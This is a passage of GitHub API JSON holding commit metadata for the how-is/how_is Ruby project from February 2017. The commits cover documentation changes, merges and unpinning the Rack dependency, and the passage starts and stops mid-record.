received_events","type":"User","site_admin":false},"parents":[{"sha":"88e656b1e04cab29cef6e2c4507faecc9b8611ec","url":"https://api.github.com/repos/how-is/how_is/commits/88e656b1e04cab29cef6e2c4507faecc9b8611ec","html_url":"https://github.com/how-is/how_is/commit/88e656b1e04cab29cef6e2c4507faecc9b8611ec"},{"sha":"0e8d9ef8ef4f792ea44f28f1df411947af469bf3","url":"https://api.github.com/repos/how-is/how_is/commits/0e8d9ef8ef4f792ea44f28f1df411947af469bf3","html_url":"https://github.com/how-is/how_is/commit/0e8d9ef8ef4f792ea44f28f1df411947af469bf3"}]},{"sha":"0e8d9ef8ef4f792ea44f28f1df411947af469bf3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGU4ZDllZjhlZjRmNzkyZWE0NGYyOGYxZGY0MTE5NDdhZjQ2OWJmMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-14T23:08:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-14T23:08:37Z"},"message":"Don''t pin rack version, since it''s an indirect dep\n\nThe Rack version was previously pinned to < 2.0 for compatibility\nwith Ruby 2.2.0. We no longer need to support 2.2.0, so we can\nget out of the way and let the OAuth gem specify the rack version\nitself.","tree":{"sha":"dc60538c8219b532300b4754f191425e0a876413","url":"https://api.github.com/repos/how-is/how_is/git/trees/dc60538c8219b532300b4754f191425e0a876413"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0e8d9ef8ef4f792ea44f28f1df411947af469bf3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0e8d9ef8ef4f792ea44f28f1df411947af469bf3","html_url":"https://github.com/how-is/how_is/commit/0e8d9ef8ef4f792ea44f28f1df411947af469bf3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0e8d9ef8ef4f792ea44f28f1df411947af469bf3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"88e656b1e04cab29cef6e2c4507faecc9b8611ec","url":"https://api.github.com/repos/how-is/how_is/commits/88e656b1e04cab29cef6e2c4507faecc9b8611ec","html_url":"https://github.com/how-is/how_is/commit/88e656b1e04cab29cef6e2c4507faecc9b8611ec"}]},{"sha":"88e656b1e04cab29cef6e2c4507faecc9b8611ec","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODhlNjU2YjFlMDRjYWIyOWNlZjZlMmM0NTA3ZmFlY2M5Yjg2MTFlYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T23:20:46Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T23:20:46Z"},"message":"Merge pull request #132 from how-is/documentation\n\nDocumentation!","tree":{"sha":"face8a3f9228dcd3977295b47282a9b55ed0e229","url":"https://api.github.com/repos/how-is/how_is/git/trees/face8a3f9228dcd3977295b47282a9b55ed0e229"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/88e656b1e04cab29cef6e2c4507faecc9b8611ec","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/88e656b1e04cab29cef6e2c4507faecc9b8611ec","html_url":"https://github.com/how-is/how_is/commit/88e656b1e04cab29cef6e2c4507faecc9b8611ec","comments_url":"https://api.github.com/repos/how-is/how_is/commits/88e656b1e04cab29cef6e2c4507faecc9b8611ec/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b4466cad815b8c1501b22c6de405b562a2c23ce","url":"https://api.github.com/repos/how-is/how_is/commits/4b4466cad815b8c1501b22c6de405b562a2c23ce","html_url":"https://github.com/how-is/how_is/commit/4b4466cad815b8c1501b22c6de405b562a2c23ce"},{"sha":"1b814c0316674003589927f737afce243260a921","url":"https://api.github.com/repos/how-is/how_is/commits/1b814c0316674003589927f737afce243260a921","html_url":"https://github.com/how-is/how_is/commit/1b814c0316674003589927f737afce243260a921"}]},{"sha":"1b814c0316674003589927f737afce243260a921","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWI4MTRjMDMxNjY3NDAwMzU4OTkyN2Y3MzdhZmNlMjQzMjYwYTkyMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T23:03:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T23:03:21Z"},"message":"Merge branch ''documentation'' of github.com:how-is/how_is into documentation","tree":{"sha":"face8a3f9228dcd3977295b47282a9b55ed0e229","url":"https://api.github.com/repos/how-is/how_is/git/trees/face8a3f9228dcd3977295b47282a9b55ed0e229"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1b814c0316674003589927f737afce243260a921","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1b814c0316674003589927f737afce243260a921","html_url":"https://github.com/how-is/how_is/commit/1b814c0316674003589927f737afce243260a921","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1b814c0316674003589927f737afce243260a921/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","url":"https://api.github.com/repos/how-is/how_is/commits/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","html_url":"https://github.com/how-is/how_is/commit/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2"},{"sha":"d48be986e65a9b324948a6efe44b205bdef836f9","url":"https://api.github.com/repos/how-is/how_is/commits/d48be986e65a9b324948a6efe44b205bdef836f9","html_url":"https://github.com/how-is/how_is/commit/d48be986e65a9b324948a6efe44b205bdef836f9"}]},{"sha":"402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDAyZWY0Y2U5MjllNGY0YWVhZTczN2FiNTA4OGY4MmIwY2E3YTVjMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T23:03:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T23:03:14Z"},"message":"Documentation cleanup in report/base_report.rb.","tree":{"sha":"4fb85446f60e88f3df60487b2b8255205aacb9da","url":"https://api.github.com/repos/how-is/how_is/git/trees/4fb85446f60e88f3df60487b2b8255205aacb9da"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","html_url":"https://github.com/how-is/how_is/commit/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/402ef4ce929e4f4aeae737ab5088f82b0ca7a5c2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","url":"https://api.github.com/repos/how-is/how_is/commits/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","html_url":"https://github.com/how-is/how_is/commit/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f"}]},{"sha":"d48be986e65a9b324948a6efe44b205bdef836f9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDQ4YmU5ODZlNjVhOWIzMjQ5NDhhNmVmZTQ0YjIwNWJkZWY4MzZmOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:50:04Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T22:50:04Z"},"message":"Merge branch ''master'' into documentation","tree":{"sha":"44a563ca1e6d1e794e688d4ddd2f95a49eb28b96","url":"https://api.github.com/repos/how-is/how_is/git/trees/44a563ca1e6d1e794e688d4ddd2f95a49eb28b96"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d48be986e65a9b324948a6efe44b205bdef836f9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d48be986e65a9b324948a6efe44b205bdef836f9","html_url":"https://github.com/how-is/how_is/commit/d48be986e65a9b324948a6efe44b205bdef836f9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d48be986e65a9b324948a6efe44b205bdef836f9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","url":"https://api.github.com/repos/how-is/how_is/commits/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","html_url":"https://github.com/how-is/how_is/commit/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f"},{"sha":"4b4466cad815b8c1501b22c6de405b562a2c23ce","url":"https://api.github.com/repos/how-is/how_is/commits/4b4466cad815b8c1501b22c6de405b562a2c23ce","html_url":"https://github.com/how-is/how_is/commit/4b4466cad815b8c1501b22c6de405b562a2c23ce"}]},{"sha":"bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmIxNjU3ZDUxMDExYTI5MmE1YmViZDNmYTdkYzY5Y2ZlMTllZDMzZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:49:26Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:49:26Z"},"message":"Document methods and classes in lib/how_is/report/json.rb.","tree":{"sha":"c6d0e3a7134fef9bdbe66417356ea38bc0d6c29d","url":"https://api.github.com/repos/how-is/how_is/git/trees/c6d0e3a7134fef9bdbe66417356ea38bc0d6c29d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","html_url":"https://github.com/how-is/how_is/commit/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bb1657d51011a292a5bebd3fa7dc69cfe19ed33f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7a408eb1939997a98f781f5c1eba2630ffb7eb26","url":"https://api.github.com/repos/how-is/how_is/commits/7a408eb1939997a98f781f5c1eba2630ffb7eb26","html_url":"https://github.com/how-is/how_is/commit/7a408eb1939997a98f781f5c1eba2630ffb7eb26"}]},{"sha":"7a408eb1939997a98f781f5c1eba2630ffb7eb26","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2E0MDhlYjE5Mzk5OTdhOThmNzgxZjVjMWViYTI2MzBmZmI3ZWIyNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:45:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:45:55Z"},"message":"Document methods in report/base_report.rb.","tree":{"sha":"1e44b8a03769669af3d6e748792e3df1491593bc","url":"https://api.github.com/repos/how-is/how_is/git/trees/1e44b8a03769669af3d6e748792e3df1491593bc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7a408eb1939997a98f781f5c1eba2630ffb7eb26","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7a408eb1939997a98f781f5c1eba2630ffb7eb26","html_url":"https://github.com/how-is/how_is/commit/7a408eb1939997a98f781f5c1eba2630ffb7eb26","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7a408eb1939997a98f781f5c1eba2630ffb7eb26/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2b32ea60a4fabac39d6f25ebff3f86f513539b89","url":"https://api.github.com/repos/how-is/how_is/commits/2b32ea60a4fabac39d6f25ebff3f86f513539b89","html_url":"https://github.com/how-is/how_is/commit/2b32ea60a4fabac39d6f25ebff3f86f513539b89"}]},{"sha":"2b32ea60a4fabac39d6f25ebff3f86f513539b89","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmIzMmVhNjBhNGZhYmFjMzlkNmYyNWViZmYzZjg2ZjUxMzUzOWI4OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:40:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:40:45Z"},"message":"Document methods and classes in lib/how_is/pulse.rb.","tree":{"sha":"59c9b8f574b9a519140a20430c09fa2a03eb54b1","url":"https://api.github.com/repos/how-is/how_is/git/trees/59c9b8f574b9a519140a20430c09fa2a03eb54b1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2b32ea60a4fabac39d6f25ebff3f86f513539b89","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2b32ea60a4fabac39d6f25ebff3f86f513539b89","html_url":"https://github.com/how-is/how_is/commit/2b32ea60a4fabac39d6f25ebff3f86f513539b89","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2b32ea60a4fabac39d6f25ebff3f86f513539b89/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"af6510581a83f18fc680b769247d13ead3422c62","url":"https://api.github.com/repos/how-is/how_is/commits/af6510581a83f18fc680b769247d13ead3422c62","html_url":"https://github.com/how-is/how_is/commit/af6510581a83f18fc680b769247d13ead3422c62"}]},{"sha":"4b4466cad815b8c1501b22c6de405b562a2c23ce","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGI0NDY2Y2FkODE1YjhjMTUwMWIyMmM2ZGU0MDViNTYyYTJjMjNjZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:37:55Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T22:37:55Z"},"message":"Merge pull request #131 from how-is/cleanup\n\nRemove shebang line from lib/ file.","tree":{"sha":"9700caaeaad2098f163b305c2433084734ee29ef","url":"https://api.github.com/repos/how-is/how_is/git/trees/9700caaeaad2098f163b305c2433084734ee29ef"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b4466cad815b8c1501b22c6de405b562a2c23ce","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b4466cad815b8c1501b22c6de405b562a2c23ce","html_url":"https://github.com/how-is/how_is/commit/4b4466cad815b8c1501b22c6de405b562a2c23ce","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b4466cad815b8c1501b22c6de405b562a2c23ce/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"34bb7640e4678a559f279ce0024a0ac5297b0640","url":"https://api.github.com/repos/how-is/how_is/commits/34bb7640e4678a559f279ce0024a0ac5297b0640","html_url":"https://github.com/how-is/how_is/commit/34bb7640e4678a559f279ce0024a0ac5297b0640"},{"sha":"0febcb35c6de351bddf6853faa427f65c98480c1","url":"https://api.github.com/repos/how-is/how_is/commits/0febcb35c6de351bddf6853faa427f65c98480c1","html_url":"https://github.com/how-is/how_is/commit/0febcb35c6de351bddf6853faa427f65c98480c1"}]},{"sha":"af6510581a83f18fc680b769247d13ead3422c62","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWY2NTEwNTgxYTgzZjE4ZmM2ODBiNzY5MjQ3ZDEzZWFkMzQyMmM2Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:36:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-12T22:36:07Z"},"message":"Document methods and classes in 